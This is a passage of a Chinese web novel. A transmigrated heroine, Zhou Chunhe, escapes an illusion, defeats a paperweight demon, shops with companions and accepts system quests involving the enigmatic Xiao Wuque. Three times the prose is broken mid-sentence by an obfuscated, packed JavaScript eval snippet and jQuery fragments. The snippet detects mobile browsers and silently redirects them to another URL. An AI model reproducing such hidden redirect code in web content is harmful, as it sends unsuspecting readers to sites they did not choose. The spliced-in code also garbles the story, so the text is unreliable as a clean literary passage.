既然说什么都有可能圆不回来,那她干脆什么都不说,直接装傻:“什么没用,什么泊烟香?——哦,对。傅怀玉确实和我说过这泊烟香能让人进入幻境,不过你刚刚那句没头没尾的话又是什么意思?” 傅怀玉确实和她提起过这泊烟香的事,若是隐瞒说不定最后会有被揭穿的危险,所以周春和干脆假话真话混着说,这样还能显得她的话更加真实。 霄无缺闻言果真眯起了眼睛,看向周春和的眼神里面带了几分探究,似乎在思索她的话到底是真是假,很快他的表情便放松下来,露出一个冷嘲热讽似的笑:“没什么。” 接着霄无缺便不说话了,周春和也识趣的没再开口,不过她却知道霄无缺在等什么。 ——他估计也觉得以周春和一己之力不可能从幻境中逃脱出来,以为这幻境只是一时间还没有准备好,所以想等一会儿,看看幻境会不会出现。 霄无缺等了十分钟,耐心终于被耗干净了,不悦的往周围看了看。 但周围依然维持着原本的模样,并没有什么变化。 知情人周春和见状心里暗爽不已,心说哈哈哈你小子倒大霉了吧,谁叫你碰上了我,我可是有金手指的! 想到系统那个死样子,周春和有些糟心的叹了口气——算了,那破系统顶多算是铜脚指。 霄无缺虽然没什么耐心,但是人倒是还挺聪明,很快就猜到并不是幻境出了什么问题才迟迟不来,而且根本就不会有什么幻境了。 他怀疑的目光再次看向了周春和。 周春和不卑不亢的和他对视,同时还十分无辜的问:“怎么了,你都在这站了半天了,我也不敢打扰你。你到底有没有发现什么东西?” 霄无缺脸上没什么表情,忽然抬脚走向周春和,眼神晦暗不明。 周春和不自在的咽了口唾沫,依然维持着镇定的表情,可是心都快跳到了嗓子眼——这这这这剧情走向怎么有些不对劲啊? 她也懒得再叫系统了,因为之前好几次的经验已经明明白白的告诉了她,越到性命攸关的时刻那死系统就越会死机,之前说要保护她的话纯纯就是放屁。 周春和心里七上八下,右脚微微撤出一步,已经打定主意不和霄无缺软碰硬,随时准备逃跑。 霄无缺在离她还有半步的距离时停下了,他再往前几厘米,周春和就已经转身开始跑了。 霄无缺微微低头,周春和为了和他对视不得不半抬头,两个人谁也不让谁,盯着互看了十几秒,霄无缺忽然伸出手。 周春和下意识地瑟缩了一下,下一秒就感觉到冰凉的手指掐住了自己的下巴。 霄无缺嘴角上扬,但眼睛里一点情绪也没有:“你究竟知道些什么?” 周春和知道越是这个时候越不能慌张,决心装傻充愣到底:“你到底在说什么啊,你这人是疯了吧?” 她故意瞪大眼睛,将泼汉骂街的神态做到了完美还原。 霄无缺若有所思的打量了周春和很久,像是想通过判断她的表情得出什么结论:“你是谁,从哪里来的?” 周春和如实的说了原身的身份,因为这确实是真的,所以她说的很有气势,而且十分理直气壮:“不信你去查,巫山谷你总知道吧,你随便找人问,看看我说的是不是真的。真是的,一开始我要自我介绍地时候也不知道是谁说什么‘没必要’,怎么,现在又‘有必要’了?……” 霄无缺忽然俯下身,指尖轻轻摩挲周春和的唇瓣,眼底没什么情绪,笑的让人毛骨悚然:“我自然会查,今日这幻境实在是太不对劲,若是让我查出你有什么隐瞒的地方……” 他冷笑一声,没继续说下去,领会了他的意思的周春和后背的冷汗却一下子流了出来。 好在霄无缺说完之后就放开了她,周春和脚都有点软。 幸好上次在谢斯年哪里已经有了经验,所以这次周春和还能强撑着自己不倒。 霄无缺不再看她,而且又巡视了一圈,不咸不淡的说:“这幻境出问题了,远处打开了一条裂缝,应该就是通向外面的,咱们可以从裂缝离开。” 他回过神看了一眼周春和,那眼神忽明忽暗,警告意味十足:“别耍花招。” 周春和听到他说可以离开,心中腾的燃起希望,对他的警告只当选择性听不见,紧紧跟了上去。 那裂缝果真是通向外面的,从幻境离开之后,就来到了之前的那个食堂。 食堂里面之前燃的那香味早已经消失不见,周春和四处转了转,那些学生也已经不见了,不知道是去了哪里。 不过这里不像是有什么危险的样子,周春和放下一半的心来,正思索这幻境被撕开一条裂缝是系统的功劳,还是镇纸怪已经通过幻境吸收足够了情绪所以才放他们离开,就听见一阵咳嗽的声音。 这音色很熟悉,周春和立刻转过了头,就见周夏莲和谢斯年不知何时出现在了两人的身后。看他们两人的模样,应该是幻境结束了,他们才得以出来。 周春和开心的大叫一声:“阿姐!” 忙不迭的跑到了周夏莲身边。 太好了,有周夏莲在这里,周春和才算是觉得自己找到了靠山。 她得意的朝霄无缺偷偷翻了个白眼,心说自己现在终于可以是毫无顾忌了。以后再敢恐吓我,我就叫阿姐揍死你。 可是周春和还没得意太久,忽然察觉到一丝不对劲——周夏莲眼睛浑浊,且对外界的刺激反应迟缓,怎么看怎么像是……丢了魂一样。 周春和心中一紧,握着周夏莲的手晃了晃,又小心翼翼的叫了她两声,但是周夏莲依然没有任何反应。 不仅是周夏莲,周春和一转身才发现谢斯年的表情和周夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576635|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莲如出一辙,两个人看着都呆呆的,行动迟缓,反应迟钝。 周春和心里一紧,随即明白过来他们应该和那些学生一样被吸走了神智。虽然周春和不知道周夏莲所经历的幻境是怎么样的,但是通过傅怀玉之前的推测,再结合她自己前两次在幻境中的经历,也大概能猜出来周夏莲在幻境里绝对遇到了什么能让她情绪产生剧烈波动的事情。 周夏莲的生活轨迹清晰,想法单纯,又没做过什么大恶之事,想来镇纸怪想要拨动她的情绪,只会从她和裴瑾之间的感情下手。 周春和大叹一声糟糕,果真是感情误事啊感情误事。这下不全完了吗! 周夏莲都中招了,想必其他人也好不到哪里去。所以在场的人就只有她和……等等,霄无缺怎么也没事儿?! 她自己没事她还能解释的过,无非是前两次幻境虽然对她的情绪产生了影响,但她并不是故事的主人公,所以那影响对她来说不算很大,没有超过那个所谓的“阈值”,而后面那次有系统的干预,周春和什么都没经历,自然更不会有什么情绪波动,所以她才能完好无损的从幻境里面离开。 可这霄无缺也好端端的站在这儿,那就有点奇怪了。 就连男女主都过不去的关卡,他一个无名小卒凭什么可以顺利出来? 再联想到傅怀玉的话,周春和心中一惊,难道霄无缺就是传说中那个不以物喜不以己悲的神人? 好家伙,孩子难不成你是隐藏的修仙高手? 一般小说里面都是这么写的,越是骨骼清奇与众人不同的人越有可能有主角般的奇遇,难道这孩子和那些男频修仙小说串了,其实也是个隐藏主角? 周春和正胡思乱想间,另一侧又响起了一阵乱糟糟的脚步声。 周春和回头一看,傅怀玉和裴瑾也出来了。两个人的状态比周夏莲和谢斯年要稍微好一点,但也是双眼浑浊,对外界的刺激反应不大。 周春和试探了两下,失望的叹了口气。 果然如她所料,主角团团灭。 不过她心里对霄无缺的怀疑也越来越深,先前她还只觉得这少年狂傲,可是现在看来,这少年确实深不可测。周春和推算了一下,第一轮是她和谢斯年,周夏莲和裴瑾,霄无缺和傅怀玉。 第二轮是她和傅怀玉,霄无缺和谢斯年,周夏莲和裴瑾。最后这一轮则是她和霄无缺,裴瑾和傅怀玉,周夏莲和谢斯年。 也就是说,每个人起码会经历一次和自己有关的幻境,第一轮霄无缺和傅怀玉一起去的,他们经历的幻境应该和傅怀玉有关,这点周春和从和傅怀玉的聊天之中能感觉到。第三轮是她和霄无缺一起去的,那幻境原本应该和她自己有关,只不过最后被跳过去了而已,也就是说,假如霄无缺真的经历过和他自己有关的幻境,那也应该是在第二轮,也就是和谢斯年一起的时候。 周春和默默记下了这件事,打定主意等这个副本结束问问谢斯年他们到底在幻境里经历了什么。 可周春和不知道,在她对霄无缺身份产生怀疑的时候,霄无缺同样在以一种疑惑的表情注视着她。 30. 白庄 霄无缺此人聪明至极,自然不会轻易被周春和哄骗过去。 在幻境里他或许暂时相信了周春和的话,但出来之后,看见周春和还好端端的站在那里,不像是其他人一样失去了神智,于是霄无缺的怀疑又涌上了心头。 这幻境进来容易出去难,想要顺利出来,不死也得被扒层皮。可周春和看起来手无缚鸡之力,也没什么特别的,凭什么就这么一点油皮没破的就出来了? 这里面最有可能顺利出来的只有傅怀玉,再不济也是谢斯年,可凭什么最后出来是眼前这个看起来怂的要命,遇事只会拖后腿的周春和?! 霄无缺的表情不知不觉中又暗下来。 他走上前去,一把抓住周春和的手腕举高,一双眼睛全是怀疑和恶意:“你为什么能顺利出来?” 周春和使劲挣扎了一下,没挣脱,怒气冲冲道:“你不也顺利出来了?” 霄无缺一怔,手下意识的松开了。周春和这个这个空当,赶紧后撤了一步,和霄无缺保持安全距离。 霄无缺冷哼一声:“罢了,便是出来又能如何。” 他摇了摇头,没说完剩下的话,忽然转身从一边的窗户跳了出去。 正揉自己手腕的周春和只看见一道黑影从面前闪过,回过神时霄无缺已经不见了踪影。 周春半被霄无缺这说来就来说走就走的随性态度惊呆了,连忙趴在窗户上看了看,可外面哪里还有霄无缺的影子。 周春和皱着眉嘀咕道:“这人真是有病,好端端的大门不走,偏要跳窗……” 一回头,看见呆滞表情像是从一个模子里刻出来主角团,周春和叹了口气。 现在该怎么办?这四个人是不能指望了,唯一一个除了周春和还能活动的又莫名其妙的离开……现在周春和能靠只有自己。 她理了理现在的情况,幻境这一个难关算是勉强度过,若是想要救下主角团,她得……周春和闭了闭眼,不太情愿的叹了口气。 她得找到镇纸怪,然后杀掉镇纸怪,这样才能让那些被它吸走的情绪归还众人。 没想到最后是周春和误打误撞成了那个“不以物喜不以己悲”之人。 虽然她也只是一个在系统动了手脚之下的冒牌货而已。 不过这个镇纸怪到底在哪呢? 周春和把四个人安顿好,自己离开了这食堂。 她按照记忆中的路线沿着小路往外走,边走边从口袋里拿出几个符纸。 这几张符纸是后来周夏莲又塞给她的,让她留着防身用。周春和挑挑拣拣,还真从数十张符咒里面找到一张可以用来寻妖的。 她在心里默默祈祷这唯一一张寻妖符一定要有用,将符咒点燃了。 符咒发出幽幽蓝光,很快火焰便指向了北边。 周春和精神一振,看来这怪物是在北边。 她整理了一下身上可用的武器,紧紧攥着符咒往北边走。按照小说原文,这镇纸怪修为不高,离开了幻境之后就是一个普通小妖,几张符纸就能轻松拿下。 如果现在还是按照原文进行的话,那那个镇纸怪即使是周春和一人也能轻松拿下。但现在剧情被改动了不少,而且那幻境显出一种和普通幻境不同的强大之力出来,周春和不确定那镇纸怪是否还和小说里写的那样垃圾,心里也已经不敢再抱太大的希望了。 能做出这样一个幻境,若是那镇纸怪真是垃圾那才奇怪。 周春和在心里规划了一下一会打架时候扔符纸的顺利,越靠近北方,那寻妖符燃烧的越热烈,等周春和走到一个房间前面时,寻妖符噌的一下子灭了。 周春和咽了口唾沫,知道那怪物就在眼前这房间之中了。 她打起精神,在心里倒数三二一,然后一鼓作气推开了房门。 这房间采光不好,刚进去时光线很暗,越往里走便越暗。房门吱呀呀的停住了,周春和的影子印在前面的地板上,她咽了口唾沫,抬脚跨过了门槛。 房间里有股常年不见光的霉味,周春和绕过屏风,走到房间的另一侧,终于看见了一个“活人”。 被镇纸怪附身的孔先生正站在这里。 孔先生显然是没想到会有人过来,视线和周春和对上的时候,两个人都明显的十分慌乱。 周春和第一次独自面对怪物,脑子一片空白,如同一个小学生被赶去高考一样嘴唇发木。 看见孔先生之后,脱口而出的竟然是:“你好。” 反应过来自己说了什么,周春和自己都想给自己一巴掌。 好在这个孔先生比她更迷糊,听见周春和开口,一个激灵,脱口回道:“你也好。” 两人面面相觑,相顾无言唯有泪千行,彼此都感受到了对方的礼貌和菜比程度。 周春和边拿符边碎碎念的道歉:“无意冒犯厄运走开,南无阿弥陀佛,我是为了救人啊救人,如果有冒犯的地方一定要原谅我啊我也是迫不得已……” 边念叨着羁绊啊家人啊之类的话边往前冲着将符咒扔了过去。 那怪物也不会攻击,只会躲,两个人你追我赶了一会儿,最终还是周春和扔符更快一点,用了个定身符将那怪物牢牢定在原地。然后闭着眼睛用比那怪物还要颤抖的手将魂飞魄散符将怪物一把拍飞了。 解决完怪物之后,周春和狠狠松了口气,不过更深的疑虑也忍不住浮现上来:这镇纸怪就是个花架子,比她想象中的还要弱,这么弱的怪物是如何借助泊烟茶做出那样的幻境的? 不过周夏莲他们还是生死未卜,周春和没时间仔细琢磨这件事,又立刻马不停蹄的往回跑。 等她回到食堂,房间内主角团已经逐渐恢复了过来。周春和松了口气,立刻喜上眉梢,走过去一个个看了一遍,确定每个人都恢复了才开心道:“还好还好。” 周夏莲担忧的拽着周春和检查了一遍,见她也好端端,这才问:“这是发生什么事儿了?” 周春和就一五一十的把从幻境中出来之后的事情和大家说了说。 听完周春和的话,周夏莲立刻惊魂甫定,她仔细拉住周春和的胳膊看了看,再三确定周春和没受伤,这才连连叹气:“还好你不曾受伤,这太危险了,我再多给你几个符,以后一定要随身带着,也能有防身的东西。” 周春和乖巧的应了一声。 谢斯年收回打量周春和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576636|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的目光,边活动手腕边道:“既然如此,那些学生是不是也已经恢复原样了?” 裴瑾道:“这是自然,走吧,咱们去看看那些学生怎么样了。” 几个人休息片刻,很快就往学堂走去。 学生们果然都挤在学堂里,乌泱泱一大群人,各个脸上都一脸诧异的神情,你看看我我看看你,七嘴八舌的谈论起来。 周夏莲和裴瑾一个个检查了一遍,确定大家都平安无事之后,这才松了口气,笑道:“好了,没什么事了,大家可以回家了。” 这些学生闻言,有几个欢天喜地的往外走,还有一小部分依然一动未动。 周春和奇道:“你们怎么还不走?” 那几个学生你看看我我看看你,最后有一个胆大的站了出来,说道:“谢谢你们救下了我们几个,将来若是有我们能帮上忙的,一定要和我们说,我们必定在所不辞。只是眼下……眼下我们还不打算回家……” 周春和更奇了:“不回家回哪?” 那个人嗫嚅了一会儿,最后眼一闭心一横,很干脆的说:“回哪儿都是好的,但是一回家,我那父亲母亲必定又要长篇大论的念叨让我读书习字。你不知道,在我们被那怪物控制的时候只会读书写字,像是个木偶人一样,可我那父母非但不担心,反而觉得这事好事……现在我恢复原样,我父母肯定会觉得还不如失去神智……所以我才不回去!” 其他人纷纷附和,一个个大倒苦水。 周春和听了忍不住叹息,没想到这学生的日子在哪里都不好过啊。 她想到了自己小时候也常常因为学习的事情被父母责骂,那时候她一般会把自己关在房间里暗暗发誓以后做一个只会学习的机器,好让她父母狠狠后悔。可经常是学习机器没维持两个小时她就把自己的誓言忘得一干二净了。 周春和看着眼前的这些学生,心道没想到他们倒是成了自己想象中的那种学习机器,可谁知道他们的父母根本不买账,反而觉得这是件好事……周春和那点想看父母后悔痛苦的心思立刻被失望和说不出的情绪所替代了。 周夏莲道:“他们之所以觉得这样好,只不过是因为短时间内坏处还没有显现出来,你们现在正是应该读书的年纪,所以他们觉得你一直读书就是好事。可是人生又不是只有读书,等你们将来要成亲生子,要自己独当一面维持生计的时候,你们却还是只会读书,这样他们一定就悔不当初了。毕竟你们不能一直在老人身边靠父母养活,没有养活自己的本领,以后这么长的人生算是都荒废了。” 那几个学生眼眶发红,显然周夏莲的话说到了他们心坎上。刚刚说话的那个学生倔强的开口:“既然短时间内他们看不见坏处,那索性我们就一直不回去,等他们悔悟的那日再说!” 周夏莲微微一笑:“这倒是没什么必要,你们不回去,他们依然见不到只会读书的你们究竟会有什么坏处。他们即使会悔恨,也只会恨没有好好管教你们,才叫你们不回家。我有个办法,倒是可以皆大欢喜。” 那学生眼睛一亮,立刻追问道:“什么办法?” 周夏莲和身边的裴瑾对视一眼,两人均是微微一笑。 31. 泊烟香 几个人给巫山谷送了信,请他们派人来一同料理这边的事情,然后便回到租赁的宅子准备休息两日。 这日日头正好,照着院子里头暖洋洋的。姐妹两人靠在一起在太阳底下晒暖。 周春和问:“阿姐,你那符纸真的能撑这么久吗?” 周夏莲微微一笑:“放心吧,除非那几个学生自己把符纸摘下来,要不然谁来都没用。” 周春和放了心,脸上就不自觉的带上了笑。 想起阿姐的办法,周春和现在都忍不住拍大腿笑出声。 原来周夏莲一人给他们了一张障眼符,用了这个符纸,便可叫他们在外人眼里维持之前被吸走了魂魄似的只会读书的模样,而他们本人其实已经恢复正常了。 这障眼符可以用很久,除非他们自己摘下来,否则作用会一直在。周夏莲叫他们自己估摸着等到合适的时机取下来就行。 不得不说这真是一个好办法,那些学生其实已经恢复了原样,但他们不管做什么事情,在其他人眼里还是之前的那个呆滞死板的样子。这样那些学生也可以去做自己想做的事情,他们的父母也暂时“得偿所愿”,确实是皆大欢喜。 只不过这些学生的年岁也不小了,等再过段时日,那些父母是否还觉得他们这样是“欢喜之事”,那可就不太好说了。 姐妹俩想象了一会那些父母后悔到痛哭流涕的模样,忍不住一齐发出“桀桀桀桀桀桀桀桀桀”的猥琐笑声来。 周春和还是头一次见到周夏莲这么鲜活的模样,心道看来这女主也蛮可爱的嘛,不止是有公事公办冰清玉洁的一面,还有这样寻常小女孩的一面。 几个人解决了这桩心头大患,彼此心里都觉得十分放松。 尤其是傅怀玉。 周春和越来越能感觉到从幻境出来之后,傅怀玉就像是变了一个人一样。 这种变化具体变在哪里,她一时半会儿的说不上来。但是她能感觉到傅怀玉似乎对她的亲近了很多,几乎是放下了所有防备,对她无比坦诚。 而且……而且傅怀玉似乎有点黏她。 不知道能不能用“黏”这个字,但周春和就是觉得傅怀玉比之前亲近了很多,言语间也不像从前那般客客气气的了。 不过谢斯年还是老样子,依然偶然和她拌嘴吵架,然后周春和就去找周夏莲装可怜,周夏莲再来教训谢斯年……不过周春和也能感觉到,在没人注意的时候,谢斯年经常若有所思的打量她。 那目光十分复杂,但是在周春和看过去的时候,少年往往又会慌乱的移开视线。 周春和觉得奇怪,但同时也松了口气。她原本还以为出来之后谢斯年一定会找她的麻烦,毕竟她知道了谢斯年此生最大的秘密,一旦她将此事说出来,谢斯年和周夏莲的关心就就成了未知数,而且其他猎妖人怎么看他也就成了未知数。但谢斯年似乎没用追究这件事的兴趣,自从出来之后,一次也没有提过这件事。 不管怎么说,不用应付这个感情说变就变的少年对周春和来说还是好事一桩。 她就这么浑浑噩噩过了两天自在日子,感觉人都胖了两斤。 巫山谷的人来的倒是快,用了两日就到了此处。周夏莲和裴瑾要帮着他们处理这学堂的后事,余下的三个人没什么事情要做,每日依然窝在院子里休息。 傅怀玉吃过晚饭闲下来之后便去附近散步,周春和吃饱喝足,也难得想溜达溜达,就跟傅怀玉一起出去了。 这院子里热闹的街区很远,正好两个人没什么事做,便慢慢悠悠的往长街走。 吃饱饭后,周春和的话就比平常少了很多,但是两个人安安静静的走着,即使是不说话也觉得很舒服。 走着走着,傅怀玉忽然轻轻扶了周春和一把,周春和疑惑地扭头看她。傅怀玉温柔的笑了笑:“这里有一个土坑,莫要摔了。” 往前试探着小心翼翼地走了半步,果然感觉到了地面凹下去了一块。 周春和打了个哈欠,懒洋洋地说:“还真有,你是不是每天都走这条街啊,都这么熟了。” 傅怀玉温和道:“是呀。” 语调温柔,配上傅怀玉惯常地不急不躁声音,即使是只说了两个字,也让人听着像是在哄人一般。周春和忍不住顺着话音向傅怀玉看去,却见灯火阑珊之下,傅怀玉正侧头看着她。 他的眸子里含着星星点点的笑意,嘴角微微上扬,身姿一如既往的端正恪守礼仪,走在周春和身边的时候,手臂时不时碰到她的衣服。 周春和从前就忍不住猜想,若是在那种权谋小说里,傅怀玉从小肯定是在世家大族里面长大的世子,为人处世恪守礼则,一言一行端庄自然,叫人看着赏心悦目。 现在她看着傅怀玉的模样,浅色眼眸倒映着周围的点点星火,柔软的浅色长发披在身后,白玉冠泛着微弱光泽。他专心致志的侧脸看着周春和,眼底带着笑意,素白的脸庞,嫣红的嘴角,眼眶含着氤氲水汽,叫人见之怦然心动。 周春和看愣了,傅怀玉的笑意更甚,也没叫周春和。等周春和自己反应过来之后,丝毫没觉得不好意思,她笑眯眯地说:“傅怀玉,你这个模样格外好看。” 傅怀玉微微歪了歪头,似是好奇:“周姑娘说的是哪个模样?” 周春和没心没肺的笑起来:“就是微微侧脸看我的时候吧,我比你矮,所以那个时候你要稍微低一点头,这样我就能清楚的看见你的眼睛……你的眼睛是我觉得最好看的地方。咳咳,不过其实我感觉你什么时候都好看,一直盯着我的时候更好看。” 傅怀玉轻轻笑起来,他笑的时候很斯文,会抬起广袖微微遮住嘴唇,只露出一双含着笑意的眼睛。 周春和看着那双眼睛,果不其然又不争气的愣了。 傅怀玉笑意更甚。 两个人很快走到了热闹的街市,周春和很快被集市上眼花缭乱的东西吸引了视线,今日街上的人格外的多,不仅有耍百戏并变戏法的,还有很多吆喝着卖东西的小贩。 周春和这里走走那里瞧瞧,手上很快拿满了东西。 周春和身上一向不会带钱,买东西都是花的傅怀玉的金叶子。不过傅怀玉看起来就不像是差钱的样子,周春和花起来没用一点负罪感。 周春和手上拿着糖葫芦、从店里买来带给周夏莲的簪子、带给谢斯年的竹子编成的车子螳螂,还有带给裴瑾的糕点。 路过一家花店,周春和还专门拉着傅怀玉进去买了几包花种子。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576637|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她知道傅怀玉喜欢种东西,笑眯眯的对他说:“我最喜欢的就是薰衣草和含羞草,或许你会觉得这些很平常,但却是我能想到最适合你的东西了。” 她将花种子碰到傅怀玉面前,一双眼睛含着存粹笑意,晃得傅怀玉有一瞬间的失神。 不过他很快就接了过来,脸上也带上了笑:“我很喜欢这个,多谢。” 周春和随口道:“你我之间不必道谢。” 傅怀玉一怔,又轻轻笑了:“好。” 两个人在街上转了转,等周春和把买的零食吃的差不多了,就一起往回走。 裴瑾与周夏莲正在房间里面画符,周春和没打扰他们,把东西放下就走了。 谢斯年在房顶上咬着狗尾巴草看月亮,周春和便叫傅怀玉先回房间,自己哼哧哼哧爬上房顶给谢斯年送那几个帮他买的玩意儿。 谢斯年正靠在兽头上,脑袋枕着自己的胳膊,对着满天繁星不知在想些什么。 周春和抱着砖瓦小心翼翼爬到谢斯年身边,朝他打了一个响指:“谢斯年,发什么呆呢。快过来,我给你带了好东西。” 其实周春和上来的时候谢斯年就已经听见动静了,不过他没动,就是想看看周春和在做什么。 听见周春和的话,谢斯年才不紧不慢的回过头。就看见周春和跨坐在屋脊上,手里拿着两个竹子编的小玩意儿。 周春和扎了一个双丫鬓。一左一右像两个包子,这是周夏莲给她扎的,扎头发的时候谢斯年还在一边边看边讥讽。周春和两鬓还各插了一枚银钿,长长的流苏垂下来,被风吹到身后。 周春和顶着月亮,浑身沐浴着银色光辉,得意的拿着那两个玩意给他看。 谢斯年脸上看不出什么表情,伸手接过那两个东西,原来是竹子编成的小玩意儿罢了。 周春和道:“我在幻境看见你玩竹鸢,就觉得或许你会喜欢。这是我从街上随便买的,就送给你做礼物吧。” 这还是从那幻境离开之后,周春和第一次在谢斯年面前提到幻境里面的事情。其实这完全是周春和下意识说的,提完之后她就有些后悔,因为她担心谢斯年想起幻境里面的事情要和她秋后算账。这两天有周夏莲他们护着周春和,谢斯年还没有机会和周春和单独说过这件事。不过谢斯年似乎完全没用注意,只是拿着那两个做工精巧的小玩意儿看了片刻,很久才懒洋洋道:“多谢。” 周春和道:“不用客气。那你在上面玩,我先走了。” 说着朝谢斯年摆了摆手,又哼哧哼哧的原路下去了。 谢斯年没动,只是眼神下意识地追着少女的身影,等人看不见了,才收回目光。 他依旧躺在屋脊上,只不过这次手中多了两个东西。他举着那小玩意放在月光底下仔细瞧了瞧,不过是很普通的两个小东西,拿在手里分量很轻,想要的话自己随手编一会儿也能编成。 他又不是小孩子了,还拿这种东西打发他。 可心里这么想着,谢斯年的嘴角还是忍不住微微翘起,似乎是很高兴的模样。 看够了那两个小玩意儿,谢斯年才贴身收好,心道罢了,这次就收下,反正这东西也不占地方,就当是留下一个打发时间的小玩意儿了。 32. 泊烟香 第二日,周夏莲和裴瑾依然是一大早就出发去那学堂了,不过今日他们不像往日一样直到晚上吃饭才回来,还没到中午的时候,两个人就已经来到了院子里面。 彼时的周春和已经起床吃完午饭玩了半天了,见周夏莲回来,又惊喜又担忧,还以为是出了什么事:“阿姐,你们今日怎么这么早就回来了?” 周夏莲和裴瑾脸色都有些严肃,看的周春和胆战心惊。 好在周夏莲听见周春和的话缓和了一下脸色,说道:“今日是最后一日料理学堂的事,原本一切正常,可是在回来的路上路过一家香料铺子,我和裴瑾恰好闻见了在学堂里闻过的那股异香。进去问了店老板才知道,这香叫‘泊烟香’,并不是本地生产的,而是从一个名叫‘秦淮沟’的地方买进来的。这香料大有古怪,我与裴瑾边想着去秦淮沟瞧瞧。” 泊烟香? 自从从幻境出来之后,周春和就把与之有关的事情抛诸脑后,根本没想起来过泊烟香这个东西。如今听周夏莲一说,前几日的经历才再次涌进了她的脑海。 话说回来,上个副本虽然已经结束了,但似乎还有很多未解之谜。 比如那镇纸怪灵力低下,是如何配合泊烟香做出这么高级的幻境的?又比如这泊烟香是怎么出现在白庄的? 周春和怀疑这背后一定还有什么东西控制着这一切,如今泊烟香算是一个线索,若是顺着这条线索找下去,说不定能发现什么东西。 周春和道:“既然如此,咱们干脆今日一起启程过去吧,正好在这里也已经休息够了……” 周夏莲担忧道:“那地方不知道有没有什么凶险,不如你先留在这里,等过两日我们回来了再一起走,如何?” 周春和心中天人交战,懒惰和好奇心都不落下风,就在周春和挣扎之际,系统已经帮她做出了选择:“叮咚——宿主,随机任务已触发,请跟随主角团一起去秦淮沟。” 周春和:“……” 怎么有种又情愿又不情愿的感觉? 周春和道:“没事的阿姐,我同你们一起去,你看上次我不也同你们一起去了?而且最后也没出什么事。有你们在身边保护我,我什么也不怕,而且在你身边比我一个人在这里安全多了。” 周夏莲沉吟片刻,似乎也觉得周春和说的对,便同意下来:“也罢,毕竟是出来历练,总不好因为担心你就什么也不让你经历。不过出门在外一定要小心行事,必要时不必管我们,自己要先保护好自己,知道了吗?” 周春和立刻一脸乖巧的点头。 事不宜迟,大家简单收拾好了东西便准备出发了。秦淮沟离这里很近,半个时辰就能往返一次,所以几个人只准备了必须的符咒,其余的便都放在这里,等着回来再拿。 周春和挎着一整个荷包的符纸开开心心的出了门,却没想到迎面撞上一个不速之客。 “霄无缺?” 几天不见,周春和已经把这人忘得干干净净,现在他忽然出现,倒是让周春和大吃一惊:“你怎么在这儿?” 霄无缺手里把玩着一根狗尾巴草,闻言也没回答,只是问:“你们要去哪?” 周春和听他这命令式的问句就心烦,心道反正现在阿姐他们都在,霄无缺也奈何不了她,于是气冲冲道:“关你屁事。” 跟在后面的周夏莲听见两人的对话,连忙扯了扯周春和的袖子:“不得无礼。”又转头和霄无缺客客气气的说,“这是我们的事情,和霄公似乎没什么关系吧?” 霄无缺不在意的一笑:“有关系,我要同你们一起去。” 周春和:“……?” 她被霄无缺的理直气壮惊呆了。 周春和干脆也不装了,张牙舞爪的骂:“凭什么你说要和我们一起去我们就会带你啊,你以为你是哪根葱?” 真是的,威胁她质问她也就算了,到了关键时刻自己翻窗谈跑,完全不顾她的死活,想让她再带着霄无缺,那绝对是没门! 再说了,这人出现的十分莫名其妙,书中也没有关于此人的描写,他就像是被硬生生插进来的一个人物,即不知道有什么目的也不知道有没有危险。而且看他的样子不像是什么等闲之辈,在怪物缠身的学堂中非但丝毫不觉得恐惧,反而游刃有余,而且还能顺顺利利从那幻境中出来……这一点是让周春和最疑惑的地方。 之前一起是没办法的事情,现在能选择了,周春和当然是觉得多一事不如少一事。 就在周春和狠狠下定决心这次绝对不带着他是,脑子里刚出现没多久的破系统再次不合时宜的蹦了出来:“叮咚——宿主,又来任务了。不过这次是福利任务,您可以选择接受,也可以选择拒绝。” 周春和一听这破系统的声音就觉得没什么好事,她挠了挠脑袋,烦躁地说:“又是什么任务,不会是和霄无缺有关吧。” “猜对了!”系统像是完全没用察觉到周春和的烦躁,喜滋滋地说,“这个福利任务就是带着霄无缺一起去秦淮沟!” 周春和压下立刻就拒绝的心思,试探着问:“奖励是什么?” 系统道:“宿主,这奖励是随机的,我也不知道会抽出什么,全看你的运气。” 周春和琢磨了一下,追问道:“那根据你往常的经验,奖励对宿主来说会有很大的帮助吗?” 系统斩钉截铁的说:“那是当然了,奖励虽然内容不同,但是每一个都很有帮助,要是宿主你运气好了抽中那种类似‘直接通关’的奖励,就可以直接让攻略对象的好感度升道百分百,那你的任务不就差不多完成了?” 周春和一听立刻疯狂心动,虽然她一向不觉得自己运气好,但是就像平常抽卡抽盲盒似的那种赌徒心理一样,她总是抱着“万一抽中的就是我想要的那个呢”的心态,反正这任务不算是特别难,周春和纠结了两秒,很快就咬咬牙接下来了这个任务。 